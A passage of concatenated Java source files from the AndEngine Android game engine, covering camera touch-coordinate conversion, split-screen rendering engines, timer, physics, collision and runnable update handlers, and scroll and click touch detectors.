protected void applySceneToCameraSceneOffset(final TouchEvent pSceneTouchEvent) {
pSceneTouchEvent.offset(-this.mMinX, -this.mMinY);
}
protected void unapplySceneToCameraSceneOffset(final TouchEvent pCameraSceneTouchEvent) {
pCameraSceneTouchEvent.offset(this.mMinX, this.mMinY);
}
private void applySceneRotation(final TouchEvent pCameraSceneTouchEvent) {
final float rotation = -this.mRotation;
if(rotation != 0) {
VERTICES_TOUCH_TMP[VERTEX_INDEX_X] = pCameraSceneTouchEvent.getX();
VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] = pCameraSceneTouchEvent.getY();
MathUtils.rotateAroundCenter(VERTICES_TOUCH_TMP, rotation, this.getCenterX(), this.getCenterY());
pCameraSceneTouchEvent.set(VERTICES_TOUCH_TMP[VERTEX_INDEX_X], VERTICES_TOUCH_TMP[VERTEX_INDEX_Y]);
}
}
private void unapplySceneRotation(final TouchEvent pSceneTouchEvent) {
final float rotation = this.mRotation;
if(rotation != 0) {
VERTICES_TOUCH_TMP[VERTEX_INDEX_X] = pSceneTouchEvent.getX();
VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] = pSceneTouchEvent.getY();
MathUtils.revertRotateAroundCenter(VERTICES_TOUCH_TMP, rotation, this.getCenterX(), this.getCenterY());
pSceneTouchEvent.set(VERTICES_TOUCH_TMP[VERTEX_INDEX_X], VERTICES_TOUCH_TMP[VERTEX_INDEX_Y]);
}
}
private void applyCameraSceneRotation(final TouchEvent pSceneTouchEvent) {
final float cameraSceneRotation = -this.mCameraSceneRotation;
if(cameraSceneRotation != 0) {
VERTICES_TOUCH_TMP[VERTEX_INDEX_X] = pSceneTouchEvent.getX();
VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] = pSceneTouchEvent.getY();
MathUtils.rotateAroundCenter(VERTICES_TOUCH_TMP, cameraSceneRotation, (this.mMaxX - this.mMinX) * 0.5f, (this.mMaxY - this.mMinY) * 0.5f);
pSceneTouchEvent.set(VERTICES_TOUCH_TMP[VERTEX_INDEX_X], VERTICES_TOUCH_TMP[VERTEX_INDEX_Y]);
}
}
private void unapplyCameraSceneRotation(final TouchEvent pCameraSceneTouchEvent) {
final float cameraSceneRotation = -this.mCameraSceneRotation;
if(cameraSceneRotation != 0) {
VERTICES_TOUCH_TMP[VERTEX_INDEX_X] = pCameraSceneTouchEvent.getX();
VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] = pCameraSceneTouchEvent.getY();
MathUtils.revertRotateAroundCenter(VERTICES_TOUCH_TMP, cameraSceneRotation, (this.mMaxX - this.mMinX) * 0.5f, (this.mMaxY - this.mMinY) * 0.5f);
pCameraSceneTouchEvent.set(VERTICES_TOUCH_TMP[VERTEX_INDEX_X], VERTICES_TOUCH_TMP[VERTEX_INDEX_Y]);
}
}
public void convertSurfaceToSceneTouchEvent(final TouchEvent pSurfaceTouchEvent, final int pSurfaceWidth, final int pSurfaceHeight) {
final float relativeX;
final float relativeY;
final float rotation = this.mRotation;
if(rotation == 0) {
relativeX = pSurfaceTouchEvent.getX() / pSurfaceWidth;
relativeY = pSurfaceTouchEvent.getY() / pSurfaceHeight;
} else if(rotation == 180) {
relativeX = 1 - (pSurfaceTouchEvent.getX() / pSurfaceWidth);
relativeY = 1 - (pSurfaceTouchEvent.getY() / pSurfaceHeight);
} else {
VERTICES_TOUCH_TMP[VERTEX_INDEX_X] = pSurfaceTouchEvent.getX();
VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] = pSurfaceTouchEvent.getY();
MathUtils.rotateAroundCenter(VERTICES_TOUCH_TMP, rotation, pSurfaceWidth / 2, pSurfaceHeight / 2);
relativeX = VERTICES_TOUCH_TMP[VERTEX_INDEX_X] / pSurfaceWidth;
relativeY = VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] / pSurfaceHeight;
}
this.convertAxisAlignedSurfaceToSceneTouchEvent(pSurfaceTouchEvent, relativeX, relativeY);
}
private void convertAxisAlignedSurfaceToSceneTouchEvent(final TouchEvent pSurfaceTouchEvent, final float pRelativeX, final float pRelativeY) {
final float minX = this.getMinX();
final float maxX = this.getMaxX();
final float minY = this.getMinY();
final float maxY = this.getMaxY();
final float x = minX + pRelativeX * (maxX - minX);
final float y = minY + pRelativeY * (maxY - minY);
pSurfaceTouchEvent.set(x, y);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine;
import javax.microedition.khronos.opengles.GL10;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.engine.options.EngineOptions;
import org.anddev.andengine.entity.scene.Scene;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.opengl.util.GLHelper;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 22:28:34 - 27.03.2010
*/
public class DoubleSceneSplitScreenEngine extends Engine {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private Scene mSecondScene;
private final Camera mSecondCamera;
// ===========================================================
// Constructors
// ===========================================================
public DoubleSceneSplitScreenEngine(final EngineOptions pEngineOptions, final Camera pSecondCamera) {
super(pEngineOptions);
this.mSecondCamera = pSecondCamera;
}
// ===========================================================
// Getter & Setter
// ===========================================================
@Deprecated
@Override
public Camera getCamera() {
return super.mCamera;
}
public Camera getFirstCamera() {
return super.mCamera;
}
public Camera getSecondCamera() {
return this.mSecondCamera;
}
@Deprecated
@Override
public Scene getScene() {
return super.getScene();
}
public Scene getFirstScene() {
return super.getScene();
}
public Scene getSecondScene() {
return this.mSecondScene;
}
@Deprecated
@Override
public void setScene(final Scene pScene) {
this.setFirstScene(pScene);
}
public void setFirstScene(final Scene pScene) {
super.setScene(pScene);
}
public void setSecondScene(final Scene pScene) {
this.mSecondScene = pScene;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
protected void onDrawScene(final GL10 pGL) {
final Camera firstCamera = this.getFirstCamera();
final Camera secondCamera = this.getSecondCamera();
final int surfaceWidth = this.mSurfaceWidth;
final int surfaceWidthHalf = surfaceWidth >> 1;
final int surfaceHeight = this.mSurfaceHeight;
GLHelper.enableScissorTest(pGL);
/* First Screen. With first camera, on the left half of the screens width. */
{
pGL.glScissor(0, 0, surfaceWidthHalf, surfaceHeight);
pGL.glViewport(0, 0, surfaceWidthHalf, surfaceHeight);
super.mScene.onDraw(pGL, firstCamera);
firstCamera.onDrawHUD(pGL);
}
/* Second Screen. With second camera, on the right half of the screens width. */
{
pGL.glScissor(surfaceWidthHalf, 0, surfaceWidthHalf, surfaceHeight);
pGL.glViewport(surfaceWidthHalf, 0, surfaceWidthHalf, surfaceHeight);
this.mSecondScene.onDraw(pGL, secondCamera);
secondCamera.onDrawHUD(pGL);
}
GLHelper.disableScissorTest(pGL);
}
@Override
protected Camera getCameraFromSurfaceTouchEvent(final TouchEvent pTouchEvent) {
if(pTouchEvent.getX() <= this.mSurfaceWidth >> 1) {
return this.getFirstCamera();
} else {
return this.getSecondCamera();
}
}
@Override
protected Scene getSceneFromSurfaceTouchEvent(final TouchEvent pTouchEvent) {
if(pTouchEvent.getX() <= this.mSurfaceWidth >> 1) {
return this.getFirstScene();
} else {
return this.getSecondScene();
}
}
@Override
protected void onUpdateScene(final float pSecondsElapsed) {
super.onUpdateScene(pSecondsElapsed);
if(this.mSecondScene != null) {
this.mSecondScene.onUpdate(pSecondsElapsed);
}
}
@Override
protected void convertSurfaceToSceneTouchEvent(final Camera pCamera, final TouchEvent pSurfaceTouchEvent) {
final int surfaceWidthHalf = this.mSurfaceWidth >> 1;
if(pCamera == this.getFirstCamera()) {
pCamera.convertSurfaceToSceneTouchEvent(pSurfaceTouchEvent, surfaceWidthHalf, this.mSurfaceHeight);
} else {
pSurfaceTouchEvent.offset(-surfaceWidthHalf, 0);
pCamera.convertSurfaceToSceneTouchEvent(pSurfaceTouchEvent, surfaceWidthHalf, this.mSurfaceHeight);
}
}
@Override
protected void updateUpdateHandlers(final float pSecondsElapsed) {
super.updateUpdateHandlers(pSecondsElapsed);
this.getSecondCamera().onUpdate(pSecondsElapsed);
}
@Override
protected void onUpdateCameraSurface() {
final int surfaceWidth = this.mSurfaceWidth;
final int surfaceWidthHalf = surfaceWidth >> 1;
this.getFirstCamera().setSurfaceSize(0, 0, surfaceWidthHalf, this.mSurfaceHeight);
this.getSecondCamera().setSurfaceSize(surfaceWidthHalf, 0, surfaceWidthHalf, this.mSurfaceHeight);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine;
import javax.microedition.khronos.opengles.GL10;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.engine.options.EngineOptions;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.opengl.util.GLHelper;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 22:28:34 - 27.03.2010
*/
public class SingleSceneSplitScreenEngine extends Engine {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final Camera mSecondCamera;
// ===========================================================
// Constructors
// ===========================================================
public SingleSceneSplitScreenEngine(final EngineOptions pEngineOptions, final Camera pSecondCamera) {
super(pEngineOptions);
this.mSecondCamera = pSecondCamera;
}
// ===========================================================
// Getter & Setter
// ===========================================================
@Deprecated
@Override
public Camera getCamera() {
return super.mCamera;
}
public Camera getFirstCamera() {
return super.mCamera;
}
public Camera getSecondCamera() {
return this.mSecondCamera;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
protected void onDrawScene(final GL10 pGL) {
final Camera firstCamera = this.getFirstCamera();
final Camera secondCamera = this.getSecondCamera();
final int surfaceWidth = this.mSurfaceWidth;
final int surfaceWidthHalf = surfaceWidth >> 1;
final int surfaceHeight = this.mSurfaceHeight;
GLHelper.enableScissorTest(pGL);
/* First Screen. With first camera, on the left half of the screens width. */
{
pGL.glScissor(0, 0, surfaceWidthHalf, surfaceHeight);
pGL.glViewport(0, 0, surfaceWidthHalf, surfaceHeight);
super.mScene.onDraw(pGL, firstCamera);
firstCamera.onDrawHUD(pGL);
}
/* Second Screen. With second camera, on the right half of the screens width. */
{
pGL.glScissor(surfaceWidthHalf, 0, surfaceWidthHalf, surfaceHeight);
pGL.glViewport(surfaceWidthHalf, 0, surfaceWidthHalf, surfaceHeight);
super.mScene.onDraw(pGL, secondCamera);
secondCamera.onDrawHUD(pGL);
}
GLHelper.disableScissorTest(pGL);
}
@Override
protected Camera getCameraFromSurfaceTouchEvent(final TouchEvent pTouchEvent) {
if(pTouchEvent.getX() <= this.mSurfaceWidth >> 1) {
return this.getFirstCamera();
} else {
return this.getSecondCamera();
}
}
@Override
protected void convertSurfaceToSceneTouchEvent(final Camera pCamera, final TouchEvent pSurfaceTouchEvent) {
final int surfaceWidthHalf = this.mSurfaceWidth >> 1;
if(pCamera == this.getFirstCamera()) {
pCamera.convertSurfaceToSceneTouchEvent(pSurfaceTouchEvent, surfaceWidthHalf, this.mSurfaceHeight);
} else {
pSurfaceTouchEvent.offset(-surfaceWidthHalf, 0);
pCamera.convertSurfaceToSceneTouchEvent(pSurfaceTouchEvent, surfaceWidthHalf, this.mSurfaceHeight);
}
}
@Override
protected void updateUpdateHandlers(final float pSecondsElapsed) {
super.updateUpdateHandlers(pSecondsElapsed);
this.getSecondCamera().onUpdate(pSecondsElapsed);
}
@Override
protected void onUpdateCameraSurface() {
final int surfaceWidth = this.mSurfaceWidth;
final int surfaceWidthHalf = surfaceWidth >> 1;
this.getFirstCamera().setSurfaceSize(0, 0, surfaceWidthHalf, this.mSurfaceHeight);
this.getSecondCamera().setSurfaceSize(surfaceWidthHalf, 0, surfaceWidthHalf, this.mSurfaceHeight);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.handler;
import org.anddev.andengine.util.SmartList;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 09:45:22 - 31.03.2010
*/
public class UpdateHandlerList extends SmartList<IUpdateHandler> implements IUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
private static final long serialVersionUID = -8842562717687229277L;
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
public UpdateHandlerList() {
}
public UpdateHandlerList(final int pCapacity) {
super(pCapacity);
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onUpdate(final float pSecondsElapsed) {
final int handlerCount = this.size();
for(int i = handlerCount - 1; i >= 0; i--) {
this.get(i).onUpdate(pSecondsElapsed);
}
}
@Override
public void reset() {
final int handlerCount = this.size();
for(int i = handlerCount - 1; i >= 0; i--) {
this.get(i).reset();
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.handler.timer;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 16:23:25 - 12.03.2010
*/
public interface ITimerCallback {
// ===========================================================
// Final Fields
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void onTimePassed(final TimerHandler pTimerHandler);
}
| Java |
package org.anddev.andengine.engine.handler.timer;
import org.anddev.andengine.engine.handler.IUpdateHandler;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 16:23:58 - 12.03.2010
*/
public class TimerHandler implements IUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private float mTimerSeconds;
private float mTimerSecondsElapsed;
private boolean mTimerCallbackTriggered;
protected final ITimerCallback mTimerCallback;
private boolean mAutoReset;
// ===========================================================
// Constructors
// ===========================================================
public TimerHandler(final float pTimerSeconds, final ITimerCallback pTimerCallback) {
this(pTimerSeconds, false, pTimerCallback);
}
public TimerHandler(final float pTimerSeconds, final boolean pAutoReset, final ITimerCallback pTimerCallback) {
this.mTimerSeconds = pTimerSeconds;
this.mAutoReset = pAutoReset;
this.mTimerCallback = pTimerCallback;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean isAutoReset() {
return this.mAutoReset;
}
public void setAutoReset(final boolean pAutoReset) {
this.mAutoReset = pAutoReset;
}
public void setTimerSeconds(final float pTimerSeconds) {
this.mTimerSeconds = pTimerSeconds;
}
public float getTimerSeconds() {
return this.mTimerSeconds;
}
public float getTimerSecondsElapsed() {
return this.mTimerSecondsElapsed;
}
public boolean isTimerCallbackTriggered() {
return this.mTimerCallbackTriggered;
}
public void setTimerCallbackTriggered(boolean pTimerCallbackTriggered) {
this.mTimerCallbackTriggered = pTimerCallbackTriggered;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onUpdate(final float pSecondsElapsed) {
if(this.mAutoReset) {
this.mTimerSecondsElapsed += pSecondsElapsed;
while(this.mTimerSecondsElapsed >= this.mTimerSeconds) {
this.mTimerSecondsElapsed -= this.mTimerSeconds;
this.mTimerCallback.onTimePassed(this);
}
} else {
if(!this.mTimerCallbackTriggered) {
this.mTimerSecondsElapsed += pSecondsElapsed;
if(this.mTimerSecondsElapsed >= this.mTimerSeconds) {
this.mTimerCallbackTriggered = true;
this.mTimerCallback.onTimePassed(this);
}
}
}
}
@Override
public void reset() {
this.mTimerCallbackTriggered = false;
this.mTimerSecondsElapsed = 0;
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.handler.physics;
import org.anddev.andengine.engine.handler.BaseEntityUpdateHandler;
import org.anddev.andengine.entity.IEntity;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 13:53:07 - 24.12.2010
*/
public class PhysicsHandler extends BaseEntityUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private boolean mEnabled = true;
protected float mAccelerationX = 0;
protected float mAccelerationY = 0;
protected float mVelocityX = 0;
protected float mVelocityY = 0;
protected float mAngularVelocity = 0;
// ===========================================================
// Constructors
// ===========================================================
public PhysicsHandler(final IEntity pEntity) {
super(pEntity);
}
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean isEnabled() {
return this.mEnabled;
}
public void setEnabled(final boolean pEnabled) {
this.mEnabled = pEnabled;
}
public float getVelocityX() {
return this.mVelocityX;
}
public float getVelocityY() {
return this.mVelocityY;
}
public void setVelocityX(final float pVelocityX) {
this.mVelocityX = pVelocityX;
}
public void setVelocityY(final float pVelocityY) {
this.mVelocityY = pVelocityY;
}
public void setVelocity(final float pVelocity) {
this.mVelocityX = pVelocity;
this.mVelocityY = pVelocity;
}
public void setVelocity(final float pVelocityX, final float pVelocityY) {
this.mVelocityX = pVelocityX;
this.mVelocityY = pVelocityY;
}
public float getAccelerationX() {
return this.mAccelerationX;
}
public float getAccelerationY() {
return this.mAccelerationY;
}
public void setAccelerationX(final float pAccelerationX) {
this.mAccelerationX = pAccelerationX;
}
public void setAccelerationY(final float pAccelerationY) {
this.mAccelerationY = pAccelerationY;
}
public void setAcceleration(final float pAccelerationX, final float pAccelerationY) {
this.mAccelerationX = pAccelerationX;
this.mAccelerationY = pAccelerationY;
}
public void setAcceleration(final float pAcceleration) {
this.mAccelerationX = pAcceleration;
this.mAccelerationY = pAcceleration;
}
public void accelerate(final float pAccelerationX, final float pAccelerationY) {
this.mAccelerationX += pAccelerationX;
this.mAccelerationY += pAccelerationY;
}
public float getAngularVelocity() {
return this.mAngularVelocity;
}
public void setAngularVelocity(final float pAngularVelocity) {
this.mAngularVelocity = pAngularVelocity;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
protected void onUpdate(final float pSecondsElapsed, final IEntity pEntity) {
if(this.mEnabled) {
/* Apply linear acceleration. */
final float accelerationX = this.mAccelerationX;
final float accelerationY = this.mAccelerationY;
if(accelerationX != 0 || accelerationY != 0) {
this.mVelocityX += accelerationX * pSecondsElapsed;
this.mVelocityY += accelerationY * pSecondsElapsed;
}
/* Apply angular velocity. */
final float angularVelocity = this.mAngularVelocity;
if(angularVelocity != 0) {
pEntity.setRotation(pEntity.getRotation() + angularVelocity * pSecondsElapsed);
}
/* Apply linear velocity. */
final float velocityX = this.mVelocityX;
final float velocityY = this.mVelocityY;
if(velocityX != 0 || velocityY != 0) {
pEntity.setPosition(pEntity.getX() + velocityX * pSecondsElapsed, pEntity.getY() + velocityY * pSecondsElapsed);
}
}
}
@Override
public void reset() {
this.mAccelerationX = 0;
this.mAccelerationY = 0;
this.mVelocityX = 0;
this.mVelocityY = 0;
this.mAngularVelocity = 0;
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.handler.collision;
import java.util.ArrayList;
import org.anddev.andengine.engine.handler.IUpdateHandler;
import org.anddev.andengine.entity.shape.IShape;
import org.anddev.andengine.util.ListUtils;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 12:19:35 - 11.03.2010
*/
public class CollisionHandler implements IUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final ICollisionCallback mCollisionCallback;
private final IShape mCheckShape;
private final ArrayList<? extends IShape> mTargetStaticEntities;
// ===========================================================
// Constructors
// ===========================================================
public CollisionHandler(final ICollisionCallback pCollisionCallback, final IShape pCheckShape, final IShape pTargetShape) throws IllegalArgumentException {
this(pCollisionCallback, pCheckShape, ListUtils.toList(pTargetShape));
}
public CollisionHandler(final ICollisionCallback pCollisionCallback, final IShape pCheckShape, final ArrayList<? extends IShape> pTargetStaticEntities) throws IllegalArgumentException {
if (pCollisionCallback == null) {
throw new IllegalArgumentException( "pCollisionCallback must not be null!");
}
if (pCheckShape == null) {
throw new IllegalArgumentException( "pCheckShape must not be null!");
}
if (pTargetStaticEntities == null) {
throw new IllegalArgumentException( "pTargetStaticEntities must not be null!");
}
this.mCollisionCallback = pCollisionCallback;
this.mCheckShape = pCheckShape;
this.mTargetStaticEntities = pTargetStaticEntities;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onUpdate(final float pSecondsElapsed) {
final IShape checkShape = this.mCheckShape;
final ArrayList<? extends IShape> staticEntities = this.mTargetStaticEntities;
final int staticEntityCount = staticEntities.size();
for(int i = 0; i < staticEntityCount; i++){
if(checkShape.collidesWith(staticEntities.get(i))){
final boolean proceed = this.mCollisionCallback.onCollision(checkShape, staticEntities.get(i));
if(!proceed) {
return;
}
}
}
}
@Override
public void reset() {
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.handler.collision;
import org.anddev.andengine.entity.shape.IShape;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 12:05:39 - 11.03.2010
*/
public interface ICollisionCallback {
// ===========================================================
// Final Fields
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
/**
* @param pCheckShape
* @param pTargetShape
* @return <code>true</code> to proceed, <code>false</code> to stop further collosion-checks.
*/
public boolean onCollision(final IShape pCheckShape, final IShape pTargetShape);
}
| Java |
package org.anddev.andengine.engine.handler.runnable;
import java.util.ArrayList;
import org.anddev.andengine.engine.handler.IUpdateHandler;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 10:24:39 - 18.06.2010
*/
public class RunnableHandler implements IUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final ArrayList<Runnable> mRunnables = new ArrayList<Runnable>();
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public synchronized void onUpdate(final float pSecondsElapsed) {
final ArrayList<Runnable> runnables = this.mRunnables;
final int runnableCount = runnables.size();
for(int i = runnableCount - 1; i >= 0; i--) {
runnables.get(i).run();
}
runnables.clear();
}
@Override
public void reset() {
this.mRunnables.clear();
}
// ===========================================================
// Methods
// ===========================================================
public synchronized void postRunnable(final Runnable pRunnable) {
this.mRunnables.add(pRunnable);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.handler;
import org.anddev.andengine.util.IMatcher;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 12:24:09 - 11.03.2010
*/
public interface IUpdateHandler {
// ===========================================================
// Final Fields
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void onUpdate(final float pSecondsElapsed);
public void reset();
// TODO Maybe add onRegister and onUnregister. (Maybe add SimpleUpdateHandler that implements all methods, but onUpdate)
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public interface IUpdateHandlerMatcher extends IMatcher<IUpdateHandler> {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
}
}
| Java |
package org.anddev.andengine.engine.handler;
import org.anddev.andengine.entity.IEntity;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 14:00:25 - 24.12.2010
*/
public abstract class BaseEntityUpdateHandler implements IUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final IEntity mEntity;
// ===========================================================
// Constructors
// ===========================================================
public BaseEntityUpdateHandler(final IEntity pEntity) {
this.mEntity = pEntity;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
protected abstract void onUpdate(final float pSecondsElapsed, final IEntity pEntity);
@Override
public final void onUpdate(final float pSecondsElapsed) {
this.onUpdate(pSecondsElapsed, this.mEntity);
}
@Override
public void reset() {
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.input.touch.detector;
import org.anddev.andengine.input.touch.TouchEvent;
import android.view.MotionEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 14:29:59 - 16.08.2010
*/
public class ScrollDetector extends BaseDetector {
// ===========================================================
// Constants
// ===========================================================
private static final float TRIGGER_SCROLL_MINIMUM_DISTANCE_DEFAULT = 10;
// ===========================================================
// Fields
// ===========================================================
private float mTriggerScrollMinimumDistance;
private final IScrollDetectorListener mScrollDetectorListener;
private boolean mTriggered;
private float mLastX;
private float mLastY;
// ===========================================================
// Constructors
// ===========================================================
public ScrollDetector(final IScrollDetectorListener pScrollDetectorListener) {
this(TRIGGER_SCROLL_MINIMUM_DISTANCE_DEFAULT, pScrollDetectorListener);
}
public ScrollDetector(final float pTriggerScrollMinimumDistance, final IScrollDetectorListener pScrollDetectorListener) {
this.mTriggerScrollMinimumDistance = pTriggerScrollMinimumDistance;
this.mScrollDetectorListener = pScrollDetectorListener;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public float getTriggerScrollMinimumDistance() {
return this.mTriggerScrollMinimumDistance;
}
public void setTriggerScrollMinimumDistance(final float pTriggerScrollMinimumDistance) {
this.mTriggerScrollMinimumDistance = pTriggerScrollMinimumDistance;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public boolean onManagedTouchEvent(final TouchEvent pSceneTouchEvent) {
final float touchX = this.getX(pSceneTouchEvent);
final float touchY = this.getY(pSceneTouchEvent);
switch(pSceneTouchEvent.getAction()) {
case MotionEvent.ACTION_DOWN:
this.mLastX = touchX;
this.mLastY = touchY;
this.mTriggered = false;
return true;
case MotionEvent.ACTION_MOVE:
case MotionEvent.ACTION_UP:
case MotionEvent.ACTION_CANCEL:
final float distanceX = touchX - this.mLastX;
final float distanceY = touchY - this.mLastY;
final float triggerScrollMinimumDistance = this.mTriggerScrollMinimumDistance;
if(this.mTriggered || Math.abs(distanceX) > triggerScrollMinimumDistance || Math.abs(distanceY) > triggerScrollMinimumDistance) {
this.mScrollDetectorListener.onScroll(this, pSceneTouchEvent, distanceX, distanceY);
this.mLastX = touchX;
this.mLastY = touchY;
this.mTriggered = true;
}
return true;
default:
return false;
}
}
// ===========================================================
// Methods
// ===========================================================
protected float getX(final TouchEvent pTouchEvent) {
return pTouchEvent.getX();
}
protected float getY(final TouchEvent pTouchEvent) {
return pTouchEvent.getY();
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public static interface IScrollDetectorListener {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void onScroll(final ScrollDetector pScollDetector, final TouchEvent pTouchEvent, final float pDistanceX, final float pDistanceY);
}
}
| Java |
package org.anddev.andengine.input.touch.detector;
import org.anddev.andengine.input.touch.TouchEvent;
import android.view.MotionEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 14:29:59 - 16.08.2010
*/
public class ClickDetector extends BaseDetector {
// ===========================================================
// Constants
// ===========================================================
private static final long TRIGGER_CLICK_MAXIMUM_MILLISECONDS_DEFAULT = 200;
// ===========================================================
// Fields
// ===========================================================
private long mTriggerClickMaximumMilliseconds;
private final IClickDetectorListener mClickDetectorListener;
private long mDownTimeMilliseconds = Long.MIN_VALUE;
// ===========================================================
// Constructors
// ===========================================================
public ClickDetector(final IClickDetectorListener pClickDetectorListener) {
this(TRIGGER_CLICK_MAXIMUM_MILLISECONDS_DEFAULT, pClickDetectorListener);
}
public ClickDetector(final long pTriggerClickMaximumMilliseconds, final IClickDetectorListener pClickDetectorListener) {
this.mTriggerClickMaximumMilliseconds = pTriggerClickMaximumMilliseconds;
this.mClickDetectorListener = pClickDetectorListener;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public long getTriggerClickMaximumMilliseconds() {
return this.mTriggerClickMaximumMilliseconds;
}
public void setTriggerClickMaximumMilliseconds(final long pClickMaximumMilliseconds) {
this.mTriggerClickMaximumMilliseconds = pClickMaximumMilliseconds;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public boolean onManagedTouchEvent(final TouchEvent pSceneTouchEvent) {
switch(pSceneTouchEvent.getAction()) {
case MotionEvent.ACTION_DOWN:
this.mDownTimeMilliseconds = pSceneTouchEvent.getMotionEvent().getDownTime();
return true;
case MotionEvent.ACTION_UP:
case MotionEvent.ACTION_CANCEL:
final long upTimeMilliseconds = pSceneTouchEvent.getMotionEvent().getEventTime();
if(upTimeMilliseconds - this.mDownTimeMilliseconds <= this.mTriggerClickMaximumMilliseconds) {
this.mDownTimeMilliseconds = Long.MIN_VALUE;
this.mClickDetectorListener.onClick(this, pSceneTouchEvent);
}
return true;
default:
return false;
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public static interface IClickDetectorListener {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void onClick(final ClickDetector pClickDetector, final TouchEvent pTouchEvent);
}
}
| Java |
package org.anddev.andengine.input.touch.detector;
import org.anddev.andengine.entity.scene.Scene;
